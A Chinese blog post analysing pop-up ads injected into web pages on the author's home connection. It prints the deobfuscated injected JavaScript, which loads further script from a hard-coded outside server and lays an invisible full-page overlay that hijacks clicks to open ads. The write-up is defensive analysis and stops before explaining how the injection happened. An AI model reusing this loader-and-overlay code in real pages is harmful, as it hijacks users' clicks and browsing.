wangqiuyun的专栏

一、现象描述

事情起因很简单,最近家里打开网页,老发现有点不正常,火狐打开页面鼠标在上面随便点击一下,立马弹出广告,起初认为可能是浏览器问题或者机器中招了,后来看了一下系统没问题,换了几个浏览器发现还是一样,具体描述就是,页面打开后,鼠标在页面上无论搁哪都是箭头,放超链接上也是箭头而不是小手图标,只要一点击,在弹出广告新页面,并且广告内容每次随机。

二、分析流程

之前一直没时间搞它,今天放假没事,打开电脑决定搞搞它,第一感觉是页面被人插入了什么东西,抄起Firebug开干。

2.1、随手打开一个页面,,瞅瞅,鼠标搁在超链接上,箭头形状,好家伙又来了,果断右键“使用Firebug查看元素”:

好家伙,至少查了四个JS,还有个宽高100%的div,一个大遮罩啊,那怪搁哪都是箭头了

<div id="tempDIv"><div id="newDiv_link" style="position:fixed;z-index:99999;opacity:.0;filter:alpha(opacity=0);left:0px;top:0px;width:100%;height:100%;background-color:#FFF;"></div></div>2.2、开启Firebug果断重新载入,于是乎,原形毕露,来自于173.208.185.2,美国

2.3、果断查看那四个JS,发现是一样的:

2.4、拿去解压美化后,还不错嘿嘿:

function CookieEnable() {var result = false;if (navigator.cookiesEnabled) return true;document.cookie = "pksrqup=1;";var cookieSet = document.cookie;if (cookieSet.indexOf("pksrqup=1") > -1) result = true;document.cookie = "";return result};if (self.location == top.location) {if (!loaded) {if (CookieEnable()) {var cBrowser = {versions: function() {var u = navigator.userAgent,app = navigator.appVersion;return {ios: !! u.match(/\(i[^;]+;( U;)? CPU.+Mac OS X/),android: u.indexOf(‘Android’) > -1 || u.indexOf(‘Linux’) > -1,iPhone: u.indexOf(‘iPhone’) > -1 || u.indexOf(‘Mac’) > -1,iPad: u.indexOf(‘iPad’) > -1}}()};var loaded = true;var oHead = ”;var oScript = ”;var sWebHost = window.location.host;if (sWebHost.indexOf("") == 0) {sWebHost = sWebHost.replace(/www./, "")};var iWebLink = ‘http://61.147.96.220:65008/keywords/’;var jsSrc = iWebLink + ‘?type=2&kw=’ + sWebHost + ‘&r=’ + Math.random();var sDefaultUrl = ”;function loadJsFile(src) {oHead = document.getElementsByTagName(‘HEAD’).item(0);oScript = document.createElement("script");oScript.type = "text/javascript";oScript.src = src;oHead.appendChild(oScript)};function linkOpener() {var divId = ‘newDiv_link’;var newDiv = "<div></div>";var tmpDiv = document.createElement("div");tmpDiv.id = "tempDIv";tmpDiv.innerHTML = newDiv;document.body.appendChild(tmpDiv);var opener_Div = document.getElementById(divId);opener_Div.onclick = function() {var sCookieUrl = sDefaultUrl.replace(/&/g, ‘_’);tempDIv.removeChild(document.getElementById(divId));if (cBrowser.versions.iPhone || cBrowser.versions.iPad || cBrowser.versions.ios || cBrowser.versions.android) {var setLink = iWebLink + ‘visited.php?type=3&url=’ + sCookieUrl + ‘&r=’ + Math.random();loadJsFile(setLink)} else {var setLink = iWebLink + ‘visited.php?type=2&url=’ + sCookieUrl + ‘&r=’ + Math.random();loadJsFile(setLink);window.open(sDefaultUrl)}}};function backCall(json) {if (json.ret == 0) {sDefaultUrl = json.data;linkOpener()} else if (json.ret == 100) {window.location.href = sDefaultUrl};oHead.removeChild(oScript)};loadJsFile(jsSrc)}}}2.5、所有秘密都藏在上面那段代码里,咱们一会再回头来看,,先看看页面还有没有别的可疑的,显然我们还发现了这段:

2.6、接着在DOM看到:

如果没有猜错,点一下广告页面就是?action=pc了,看这些iWebLink、jsSrc、sDefaultUrl是不是似成相识呢?没错就是上面那段JS脚本。

三、被强制广告的流程

综合上观察结合那段JS,我推断出了如下被强制广告的流程

3.1、首先页面加载时被插入了一个脚本(至于怎么被插入后面会有讲),也就是说你请求的被人动了手脚,最简单的情况就是在这个页面注入了这么一段:

<script type="text/javascript" src=" ?b88cfc1ccab788f0903cac38c894caa3"></script>

此时上面那个脚本就进来了,并且开始运行。

生活若剥去理想、梦想、幻想,那生命便只是一堆空架子

wangqiuyun的专栏

相关文章:

你感兴趣的文章:

标签云: